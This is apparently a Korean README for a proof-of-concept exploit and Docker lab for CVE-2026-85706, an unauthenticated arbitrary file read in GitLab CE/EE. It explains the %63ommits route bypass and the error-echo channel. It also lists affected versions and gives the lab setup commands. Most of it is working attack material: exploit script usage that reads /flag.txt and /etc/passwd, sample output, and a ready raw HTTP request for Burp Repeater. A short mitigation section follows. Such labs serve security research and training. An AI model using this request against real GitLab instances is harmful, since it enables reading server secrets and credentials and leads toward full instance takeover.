
CVE-2026-85706에 대한 PoC 및 Docker 랩으로, GitLab CE/EE에서 commits API 라우트 우회와 urlencoded 오류 채널을 통한 인증되지 않은 임의 파일 읽기 취약점입니다.
★ CVE-2026-85706 GitLab 비인증 임의 파일 읽기 PoC ★
https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d
CVE-2026-85706은 GitLab CE/EE의 비인증 임의 파일 읽기 취약점(CVSS 10.0, CISA KEV)으로,
POST /api/v4/projects/:id/repository/commits를 통해 악용됩니다. 이 엔드포인트의 body-upload 헬퍼는authenticate!보다 먼저 실행되며params['file.path']를 격리 없이 절대 경로로 읽습니다.commits의 한 문자를 URL 인코딩하여 **%63ommits**로 만들면 GitLab-Workhorse가 해당 라우트를 인식하지 못해(따라서file.path를 덮어쓰지 않음) Rails는 여전히%63 → c로 디코딩하여 핸들러로 라우팅합니다. 이를 통해 공격자는 쿼리 문자열로file.path를 설정할 수 있습니다.Content-Type=application/x-www-form-urlencoded인 경우, 헬퍼가 파일 내용을 다시 파싱하고 두 개의 16진수 숫자가 뒤따르지 않는%가400응답 본문에 해당 내용을 반영합니다(그러한 문자가 없는 파일은401읽기 오라클만 제공). 최소 하나의 공개 프로젝트가 필요합니다.
| Category | Version |
|---|---|
| 취약 | GitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1 |
| 패치됨 | 19.1.8 / 19.2.6 / 19.3.2 이상 (2026-09-10) |
%가 포함된 파일(애플리케이션 로그, URL 인코딩된 값이 포함된 설정/자격 증명)의 노출 → 정찰 + 자격 증명 탈취 → 인증된 접근으로의 연계 / 전체 인스턴스 장악gitlab-secrets.json, database.yml)에 도달합니다. 단, 순수하게 16진수/base64로만 구성된 파일은 공개 % 반사 채널을 통해 존재 여부 오라클만 반환합니다(에코를 트리거할 잘못된 % 바이트가 없음)authenticate!를 추가하여, 비인증 요청이 파일 읽기 싱크에 도달하기 전에 거부되도록 합니다취약한 GitLab CE를 빌드하고 실행합니다. 부팅 시 시더(seeder)가 /flag.txt(끝에
% 누출 트리거 포함)를 심고 공개 프로젝트 victim/public-app(프로젝트 id 1)을 생성하여
commits API에 비인증으로 접근할 수 있게 합니다. 첫 부팅은 약 2–3분 소요됩니다.
docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706
# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log # look for: [seed] SEED_DONE ...
플래그는 플레이스홀더(EQST{gitlab_cve_2026_85706_arbitrary_file_read})입니다. 이미지를 편집하지 않고
실행 시 자신의 플래그를 설정하세요: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.
| Precondition | State in this lab |
|---|---|
| GitLab 18.7 – 19.1.7 | 19.1.7-ce.0 |
| 최소 하나의 공개 프로젝트 (익명이 commits API에 도달) | victim/public-app (id 1), 자동 생성됨 |
/api/v4/projects/:id/repository/commits 비인증 접근 가능 | 노출됨 |
| 서버 파일시스템의 플래그 | /flag.txt (끝에 % 반사 트리거) |
익스플로잇 gitlab_exploit.py는 %63ommits Workhorse 라우트 우회와 urlencoded 재파싱 오류 채널을
사용하여 단일 비인증 요청으로 서버에서 파일을 읽습니다.
--read로 파일을 선택합니다(기본값 /flag.txt).
# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2
# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd
# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}
옵션:
--read "<abs path>" — 읽을 절대 파일 경로 (기본값 /flag.txt)--project <id> — 비인증으로 접근 가능한 공개 프로젝트 id (기본값 1)--check — 파일 읽기 싱크에 도달 가능한지만 확인 (local file not present 예상)원시 요청 (Burp Repeater용):
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close
*/repository/commits* 및 */repository/files*에 대한 POST/PUT을 차단하고, 인스턴스를 SSO / VPN / IP 허용 목록 뒤에 배치